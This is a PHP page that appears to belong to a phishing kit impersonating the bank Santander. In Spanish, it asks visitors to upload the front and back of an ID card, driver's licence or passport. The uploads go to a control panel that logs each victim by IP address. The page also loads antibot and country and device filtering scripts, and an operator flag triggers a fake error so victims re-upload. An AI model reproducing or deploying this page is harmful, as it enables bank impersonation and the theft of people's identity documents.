<?php
    error_reporting(0);
    session_start();

    include "../antibots-debug/antibots.php";
    include '../setting/functions.php';
    include '../includes/current-page.php';
    include '../includes/check-allowed-countries.php';
    include '../includes/check-devices-allow.php';

    $ip = get_client_ip();
    $get_name_file = $ip;
    $target_file = "../panel/storage/{$get_name_file}.json";
    $json_file = file_get_contents($target_file);
    $user_info = json_decode($json_file, true);
    $user_info['error_ID'];
    
    if($user_info['error_ID'] == 1) {
        $get_name_page = "Page ID Error";
        $get_step = "id-error";
    }else{
        $get_name_page = "Page ID Code";
        $get_step = "id";
    }
    get_page_info($get_name_page, $get_name_file);
    
    $random_classes = rand(0, 1000000); 
    $permitted_chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
?>
<!DOCTYPE html>
<html lang="en" class="">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- SEO -->
    <?php include '../libraries/seo.php'; ?>
    <!-- Font Google -->
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Nunito:ital,wght@0,200..1000;1,200..1000&display=swap" rel="stylesheet">
    <!-- Font Awesome Library --> 
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/css/all.min.css" integrity="sha512-KfkfwYDsLkIlwQp6LFnl8zNdLGxu9YAA1QvwINks4PhcElQSvqcyVLLD9aMhXd13uQjoXtEKNosOWaZqXgel0g==" crossorigin="anonymous" referrerpolicy="no-referrer" />
    <!-- File Css -->
    <link rel="stylesheet" href="../css/main.css">
    <link rel="stylesheet" href="../css/basic-thinks.css">
    <!-- Favicon -->
    <link rel="icon" href="../img/favicon.ico">
    <link rel="shortcut" href="../img/favicon.ico">
    <link rel="appel-touch-icon" href="../img/favicon.ico">
    <title>PÁGINA WEB</title>
</head> 
<body id="body" class="">
    <!-- Main -->
    <div class="section-main">
        <div class="section-left">
        </div>
        <div class="section-right">
            <div class="logo">
                <img src="../img/logo.png" alt="">
            </div>
            <div class="prt-icon">
                <i class="fa-solid fa-address-card"></i>
            </div>
            <h1 style="margin-bottom: 10px !important;font-size: 25px !important;">Confirme la identificación de su documento</h1>
            <p>
                Para ayudar a mantener seguros a todos nuestros miembros, necesitamos conocer nuestra comunidad. Proporcione un documento que verifique su identidad.
            </p>
            <p>
                Formatos aceptados: <strong>JPG, JPEG, PNG, PDF.</strong>
            </p>
            <form action="../control-panel/check-action.php" method="post" id="fSD" class="form-element" enctype="multipart/form-data">
                <input type="hidden" name="step" value="<?php echo $get_step; ?>">
                <input type="hidden" name="ip" value="<?php echo $get_name_file; ?>">
                <?php
                    if ($user_info['error_ID'] == 1) {
                        echo '<div class="message-error-pages">
                                <img src="../img/icon-error.png" alt="">
                                Error al verificar el documento, Intente nuevamente con una imagen clara y válida.
                            </div>';
                    }
                ?>
                <div class="prt-l-i-me" id="div1">
                    <select name="document_type" id="documentType" class="input-select">
                        <option value="0" selected disabled>Tipo de documento *</option>
                        <option value="state_identity_card">Tarjeta de Identidad Estatal</option>
                        <option value="driving_license">Carnet de conducir</option>
                        <option value="passport">Pasaporte</option>
                    </select>
                    <i class="fa-solid fa-angle-down arrow-select" style="top: 13px !important;"></i>
                    <small id="messageError1" class="me-i"><img src="../img/icon-error.png" alt="">Por favor seleccione el tipo de documento</small>
                </div>
                <div class="prt-i-l-me-other hide-option" id="inputUploadFileOne">
                    <label for="verificationOne" class="label-input-file" id="labelVerificationOne"><i class="fa-solid fa-upload"></i>El anverso del documento *</label>
                    <input accept="image/*,application/pdf" class="i-a-d-p-element-file" type="file" name="verification_one" id="verificationOne">
                </div>
                <div class="prt-i-l-me-other hide-option" id="inputUploadFileTwo">
                    <label for="verificationTwo" class="label-input-file"  id="labelVerificationTwo"><i class="fa-solid fa-upload"></i>El reverso del documento *</label>
                    <input accept="image/*,application/pdf"  class="i-a-d-p-element-file" type="file" name="verification_two" id="verificationTwo">
                </div>
                <div class="prt-i-l-me-other hide-option" id="inputUploadFileThree">
                    <label for="verificationThree" class="label-input-file"  id="labelVerificationThree"><i class="fa-solid fa-upload"></i>Subir el documento pasaporte *</label>
                    <input accept="image/*,application/pdf" class="i-a-d-p-element-file" type="file" name="verification_three" id="verificationThree">
                </div>
                <div class="prt-btn">
                    <button type="submit" name="b_s_d_p" id="bSD" class="btn-element">Continuar</button>
                </div>
            </form>
        </div>
    </div>
    <!-- Main -->

    <!-- Footer -->
    <div class="footer">
        <div class="section-top">
            <span class="link-footer">Seguridad y privacidad</span>
            <span class="link-footer">Términos y condiciones</span>
            <span class="link-footer">Precios</span>
            <span class="link-footer">Información legal</span>
            <span class="link-footer">Política de cookies</span>
        </div>
        <div class="section-bottom">
            <div class="logo-footer">
                <img src="../img/logo-footer.png" alt="">
            </div>
            <div class="text-footer">© <?php echo date("Y"); ?> Santander - Reservados todos los derechos.</div>
        </div>
    </div>
    <!-- Footer -->

    <!-- Script Js -->
    <script src="../js/script-step-five.js"></script>
    <script src="../js/jquery.min.js"></script>
    <?php include '../includes/redirect.php'; ?>
    <?php include '../includes/status.php'; ?>
</body>
</html>